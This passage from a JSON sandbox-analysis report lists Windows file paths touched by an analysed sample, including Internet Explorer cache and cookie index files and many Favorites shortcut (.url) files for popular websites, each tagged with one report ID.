Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\{2FD88FB4-D288-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF983151676FDD2BCF.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%PROGRAMFILES%\\MICROS~3\\Office14\\URLREDIR.DLL","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%PROGRAMFILES%\\Java\\jre1.8.0_25\\lib\\plugin.jar","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%PROGRAMFILES%\\Java\\jre1.8.0_25\\bin\\javaws.exe","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\JavaDeployReg.log","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\ieframe.dll","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\frameiconcache.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\Internet Explorer\\Services\\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Feeds Cache\\index.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%PROGRAMFILES%\\Internet Explorer\\iecompat.dll","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IECompatCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Feeds","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\1616.net.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\163.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\17kuxun.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\2345.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\27.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\355.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\360.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\4399.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\4shared.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\51wan.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\56.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\5pk.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\61.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\7k7k.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\95599.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\96pk.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\abchina.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\abcnews.go.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\abril.com.br.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\accountonline.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\addictinggames.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\agame.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\allegro.pl.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\alot.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\amazon.co.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\amazon.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\amazon.de.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ameblo.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\americanexpress.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\answers.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\aol.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ask.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\att.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\avast.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\badoo.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\baidu.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\baixaki.com.br.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\bankofamerica.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\baomihua.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\bbc.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\bing.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\blogger.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\blogspot.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\booking.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\caixa.gov.br.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\cartoonnetwork.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ccb.com.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\china.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\chinanews.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\clubpenguin.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\cnet.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\cnn.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\comcast.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\comcast.net.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\commentcamarche.net.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\cyworld.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\dailymotion.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\dangdang.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\dell.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\dianping.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\discoverbing.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\docin.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\douban.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\duowan.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ebay.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ehow.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\exoplanetwar.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\facemoods.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\fedex.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\fileserve.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\filestube.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\flickr.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\foxsports.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\friv.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\funshion.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\geocities.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\gmx.net.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\goo.ne.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\google.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\gougou.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\groupon.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\guardian.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\gyyx.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hao123.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hatena.ne.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hi5.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\homedepot.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hotels.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hotfile.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hp.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\huanqiu.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\huffingtonpost.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hulu.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\iciba.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\iegallery.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ifeng.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\imdb.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\imesh.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\iminent.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\in.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\inbox.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\indeed.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\java.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\joy.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\juegos.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\kaixin001.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\kakaku.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\kugou.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\leboncoin.fr.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\linkedin.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\livedoor.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\livejournal.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\livingsocial.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\lowes.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\manta.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\match.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mediafire.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\megavideo.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mercadolivre.com.br.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\metrolyrics.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\microsoft.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\microsofttranslator.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\miniclip.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mlb.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\monster.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\moonbasa.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mop.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mozilla.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mozilla.org.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\msn.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mylife.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\nate.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\netflix.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\netlog.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\nhk.or.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\nicovideo.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\nk.pl.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\norton.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ocn.ne.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\okwave.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\onet.pl.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\orange.fr.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\orkut.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\oyunlar1.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pagesjaunes.fr.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\paipai.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pandora.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\partycasino.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\partypoker.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\paypal.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pconline.com.cn.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\photobucket.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\picnik.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pog.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pogo.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pps.tv.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pptv.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\qidian.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\qiyi.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\rakuten.co.jp.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\rapidshare.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\reuters.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\samsung.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\sdo.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\seesaa.net.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\shopathome.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\skycn.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\slideshare.net.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\softonic.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\sohu.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\soku.com.url","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3